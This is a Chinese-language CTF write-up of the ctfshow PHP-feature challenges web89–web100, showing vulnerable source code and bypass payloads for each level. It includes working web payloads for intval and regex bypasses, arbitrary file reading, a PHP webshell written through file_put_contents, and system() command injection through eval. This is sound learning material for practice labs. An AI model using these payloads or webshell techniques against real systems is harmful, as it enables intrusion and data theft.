ctfshow--php特性

CTFSHOW-PHP特性篇

web89

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
1
2
3
4
5
6
7
8
intval(mixed $value, int $base = 10): int
通过使用指定的进制 base 转换(默认是十进制),返回变量 value 的 int 数值。 intval() 不能用于 object,否则会产生 E_WARNING 错误并返回 1。
本题if(preg_match("/[0-9]/", $num))会检查传入的num参数,会匹配存在0~9的参数,如果存在就会结束。
intval函数是 PHP 中用于将变量转换为整数类型的函数。它的基本作用是将输入的值按照特定的规则转换为一个整数值。
如果不存在数字则会返回1,不会输出flag。
但是如果我们输入num为数组,intval会返回1,而不是触发错误,即可绕过此题。

payload:http://example.com/script.php?num[]=1

web90

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
1
2
3
4
利用intval的特性,intval(4476a)会返回4476
intval 从字符串开头开始解析,直到遇到非数字字符。
在 4476a中4676是有效的整数,遇到 a 后停止解析并返回 4476
payload:http://example.com/script.php?num=4476a

web91

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
1
2
3
4
5
6
7
8
为了输出 $flag,我们需要通过第一次正则表达式检查,但不能通过第二次检查。观察到两个正则表达式的唯一区别在于第二个正则表达式没有多行模式 m。
绕过方法是利用多行模式的特性
如果输入
php
1
则可通过第一次正则,但是不通过第二个正则。
用%0A表示换行符则可写成php%0A1
payload:http://example.com/script.php?cmd=php%0A1

web92

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
要绕过检查以成功输出$flag我们需要:
确保第一次检查$num == 4476失败。
确保intval($num,0) == 4476成立。

当 intval 函数的第二个参数为 0 时,它会根据字符串前缀自动确定进制:
0x 或 0X 前缀表示 16 进制。
0 前缀表示 8 进制。
无前缀或其他前缀表示 10 进制。

显然直接传4476是无法成功的,但是通过利用八进制表示,可以传递 num 参数值为 010574;
八进制010574就会等于十进制4476
payload:http://example.com/script.php?num=010574
这里用web90的payload也可以

web93

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

用web92的payload即可,这里主要是阻止了web90的payload的情况

web94

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
1
2
3
4
5
6
7
8
9
10
strpos(string $haystack, string $needle, int $offset = 0): int|false
返回 needle 在 haystack 中首次出现的数字位置。

if(!strpos($num, "0"))
如果 $num 不包含字符 "0"或者0在首位置,则输出 "no no no!" 并终止脚本。

那么就要求我们必须要有0,并且不能在第一个位置,那么我们就可以放到最后的位置。
如果传入为?num=4476.0则可以绕过strpos,并且满足前面的条件

payload:http://example.com/script.php?num=4476.0

web95

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
1
2
3
4
5
6
web95相较web94的不同在于(preg_match("/[a-z]|\./i", $num),正则还匹配了'.'
导致web94的方法不能用了

但是我们还可以用空格加八进制绕过,或者+绕过
payload:http://example.com/script.php?num=%20010574
payload:http://example.com/script.php?num=%0a010574

web96

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
1
2
3
4
5
这个 PHP 代码片段允许用户查看任意文件的内容,除了名为 flag.php 的文件。
由于代码只检查了 u 参数是否严格等于字符串 flag.php
但没有处理其他可能等价的路径或者符号链接,因此可以尝试以下绕过方法:
使用相对路径:payload:http://example.com/script.php?u=./flag.php
使用绝对路径:payload:http://example.com/script.php?u=/var/www/html/flag.php

web97

1
2
3
4
5
6
7
8
9
10
11
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
1
2
3
4
这里的关键是找到两个不同的输入,它们的 MD5 哈希值相同。这种情况称为哈希碰撞
可以传入数组绕过强比较
payload:http://example.com/script.php
post:a[]=1&b[]=2

web98

1
2
3
4
5
6
7
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
此题用到了三元运算符,并且有点复杂,所以仔细分析一下
$_GET?$_GET=&$_POST:'flag';
这里检查 $_GET 是否存在(即是否有任何 GET 参数)。
如果存在,则 $_GET 被赋值为 $_POST 的引用。

$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
如果 $_GET['flag'] 等于 'flag',则 $_GET 被赋值为 $_COOKIE 的引用。

$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
如果 $_GET['flag'] 等于 'flag',则 $_GET 被赋值为 $_SERVER 的引用。

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
检查 $_GET['HTTP_FLAG'] 是否等于 'flag',如果是,则显示 $flag 的内容,否则显示当前文件的内容。

其实总结起来,中间两句不要看,我们直接传入GET为1=1,POST为HTTP_FLAG=flag
$_GET存在,$_GET变为$_POST的引用,又因为$_POST的HTTP_FLAG=flag
所以$_GET会变成HTTP_FLAG=flag,即可显示$flag

web99

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
for ($i=36; $i < 0x36d; $i++) { 
array_push($allow, rand(1,$i));
}
这个循环用于构建一个数组 $allow,该数组包含从 10x36d(十进制为 877)之间的随机数。
这些随机数是允许的文件名。

if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
这个条件检查了是否设置了 GET 请求中的 n 参数,并且该参数的值存在于 $allow 数组中。
如果条件成立,它会使用 file_put_contents 函数将 POST 请求中的内容写入文件,文件名由 n 参数指定。

这题可以利用n参数新建一个文件1.php,然后传入content写入这个文件
因为对写入的文件没有内容限制,我们可以写一个webshell进去,
再到1.php内部,执行php命令读取flag
首先GET传入n=1.php POST传入content=<?php system($_POST['a']);?>
1.php中POST传入a=ls
得到目录下的文件有1.php flag36d.php index.php
读取flag36d.php即可获取flag
(但是这里只能用tac读取,估计是其他的都被禁用了,并且蚁剑连不上)

web100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
这题很长分析一下部分代码的功能
$ctfshow = new ctfshow();
初始化 ctfshow 对象

$v0 = is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
检查 v1, v2, v3 是否都是数字。

if ($v0) {
if (!preg_match("/\;/", $v2)) {
if (preg_match("/\;/", $v3)) {
eval("$v2('ctfshow')$v3");
}
}
}
首先检查 v0 是否为真,即 v1是否为数字
为什么v2和v3不用为数字:经过我的对比研究
$v0 = is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
中,只需要第一个参数为true即可,若第一个参数为数字后面随便传。

然后检查 v2 中不包含分号 (;)。
最后检查 v3 中包含分号 (;)。
如果上述条件都满足,执行 eval("$v2('ctfshow')$v3");。

可以构造
$v1 = 1
$v2 = system
$v3 = 1;phpinfo();
这个是ChatGPT告诉我的,并且命令可以执行并且回显phpinfo界面
利用这个可以把v3改为;system(%27ls%27);
回显ctfshow.php flag36d.php index.php
查看flag36.php $flag="flag_here";
没有flag,再看ctfshow.php
$flag_is_e26f6cf00x2d13a00x2d4f090x2d9d910x2d7fbfabadd533;
让gpt帮我分析得到flag里面应该是e26f6cf0-13a0-4f09-9d91-7fbfabadd533
也就是0x2d 表示 -(减号)
最后的payload:?v1=1&v2=system&v3=;system(%27tac%20ctfshow.php%27);


ctfshow--php特性
http://example.com/2024/05/30/ctfshow -- php特性/
作者
piiick
发布于
2024年5月30日
许可协议